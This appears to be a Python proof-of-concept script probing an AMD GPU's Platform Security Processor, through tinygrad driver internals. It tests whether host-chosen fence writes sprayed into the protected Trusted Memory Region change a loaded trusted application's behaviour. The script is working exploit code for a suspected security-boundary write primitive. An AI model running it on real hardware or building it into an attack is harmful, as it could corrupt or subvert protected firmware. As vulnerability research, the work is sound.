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#!/usr/bin/env python3
"""Do fence writes into the trusted region actually LAND? Functional test.
Established this pass:
* the PSP writes a host-chosen dword (fence_value) to a host-chosen address (fence_addr);
* fence_addr inside the TMR is ACCEPTED -- the command completes, PSP stays healthy --
while cmd_buf inside the TMR is rejected. The check on one is missing on the other.
Unresolved: whether the write lands in the TMR or is dropped by hardware protection. The
host cannot read the TMR, so test FUNCTIONALLY: a loaded TA lives in the TMR, so spray
host-chosen dwords across the region and see whether the TA's behaviour changes.
phase 1 load TA, invoke, record baseline statuses (control)
phase 2 spray N dwords of 0xDEADBEEF across a TMR range (via fence writes)
phase 3 invoke again and compare
A behaviour change proves the writes reached PSP-owned memory: a host-controlled write
primitive across the security boundary. No change after a broad spray argues the writes are
dropped, which is the honest alternative.
"""
import ctypes, glob, struct, sys, time
sys.path.insert(0,'/root/psp/hw')
from tinygrad import Device
import tinygrad.runtime.autogen.am.am as am
adev=Device["AMD"].iface.dev_impl; psp=adev.psp
RESP=864
frame_sz=ctypes.sizeof(am.struct_psp_gfx_rb_frame); step=frame_sz//4
def alloc(n):
pa=adev.mm.palloc(n,align=0x1000,zero=True,boot=False); return pa,adev.paddr2mc(pa)
tmr_mc=adev.paddr2mc(psp.tmr_paddr); TMR_SZ=0x1300000
blob=open(glob.glob('/root/psp/contall/ta_42-0-0-6_1c874c3c*')[0],'rb').read()
ap_,amc=alloc(0x80000); cp,cmc=alloc(0x8000)
n=(len(blob)+3)&~3
adev.vram.view(ap_,n)[:]=blob+b'\x00'*(n-len(blob)); adev.gmc.flush_hdp()
def raw(cmd_bytes, fence_mc, fence_val, wait=0.4):
adev.vram.view(psp.cmd_paddr, len(cmd_bytes))[:]=cmd_bytes
adev.vram.view(psp.cmd_paddr+RESP,4,'I')[0]=0xA5A5A5A5
adev.gmc.flush_hdp()
wmax=psp.ring_size//4
prev=adev.reg(f"{psp.reg_pref}_67").read()%wmax
msg=am.struct_psp_gfx_rb_frame(fence_value=fence_val,
cmd_buf_addr_lo=adev.paddr2mc(psp.cmd_paddr)&0xFFFFFFFF,
cmd_buf_addr_hi=adev.paddr2mc(psp.cmd_paddr)>>32,
fence_addr_lo=fence_mc&0xFFFFFFFF, fence_addr_hi=fence_mc>>32)
adev.vram.view(psp.ring_paddr+prev*4, ctypes.sizeof(msg))[:]=memoryview(msg).cast('B')
adev.reg(f"{psp.reg_pref}_67").write((prev+step)%wmax)
t0=time.time()
while time.time()-t0 < wait:
adev.gmc.flush_hdp()
v=struct.unpack_from('<I',bytes(adev.vram.view(psp.cmd_paddr+RESP,4)[:]),0)[0]
if v!=0xA5A5A5A5: return v, time.time()-t0
return None, time.time()-t0
def mk_load():
c=am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_LOAD_TA); t=c.cmd.cmd_load_ta
t.app_phy_addr_lo,t.app_phy_addr_hi=amc&0xFFFFFFFF,amc>>32; t.app_len=len(blob)
t.cmd_buf_phy_addr_lo,t.cmd_buf_phy_addr_hi=cmc&0xFFFFFFFF,cmc>>32; t.cmd_buf_len=0x4000
return bytes(memoryview(c).cast('B'))
def mk_inv(sid,cid):
c=am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_INVOKE_CMD)
iv=c.cmd.cmd_invoke_cmd; iv.session_id,iv.ta_cmd_id=sid,cid
return bytes(memoryview(c).cast('B'))
scratch,smc=alloc(0x1000)
st,dt=raw(mk_load(), smc, 1)
sid=struct.unpack_from('<I',bytes(adev.vram.view(psp.cmd_paddr+RESP+4,4)[:]),0)[0]
print('phase1 load -> %s sid=%s'%(hex(st) if st is not None else 'TIMEOUT',sid), flush=True)
base=[]
for cid in range(0,6):
b=bytearray(0x4000); struct.pack_into('<I',b,0,cid)
adev.vram.view(cp,0x4000)[:]=bytes(b); adev.gmc.flush_hdp()
s,_=raw(mk_inv(sid,cid), smc, 1); base.append(s)
print('phase1 baseline cmd0-5: %s'%[hex(x) if x is not None else None for x in base], flush=True)
b=bytearray(0x4000); struct.pack_into('<I',b,0,0)
adev.vram.view(cp,0x4000)[:]=bytes(b); adev.gmc.flush_hdp()
spray_cmd=mk_inv(sid,0) # cheap repeatable command; LOAD_TA would hit the session wall
NSPRAY=int(sys.argv[1],0) if len(sys.argv)>1 else 400
STRIDE=int(sys.argv[2],0) if len(sys.argv)>2 else 0x1000
ok=0; timeouts=0
for i in range(NSPRAY):
off=(i*STRIDE)%TMR_SZ
s,_=raw(spray_cmd, tmr_mc+off, 0xDEADBEEF, wait=0.25)
if s is None: timeouts+=1
else: ok+=1
if timeouts>3: print(' aborting: PSP stopped responding at spray %d'%i, flush=True); break
print('phase2 sprayed %d dwords over TMR+0..%#x (completed=%d timeouts=%d)'
%(min(i+1,NSPRAY), (min(i+1,NSPRAY)*STRIDE)%TMR_SZ or TMR_SZ, ok, timeouts), flush=True)
after=[]
for cid in range(0,6):
b=bytearray(0x4000); struct.pack_into('<I',b,0,cid)
adev.vram.view(cp,0x4000)[:]=bytes(b); adev.gmc.flush_hdp()
s,_=raw(mk_inv(sid,cid), smc, 1); after.append(s)
print('phase3 after-spray cmd0-5: %s'%[hex(x) if x is not None else None for x in after], flush=True)
print('VERDICT: %s'%('BEHAVIOUR CHANGED -> writes landed in PSP-owned memory'
if after!=base else 'identical -> no observable effect from the sprayed writes'), flush=True)
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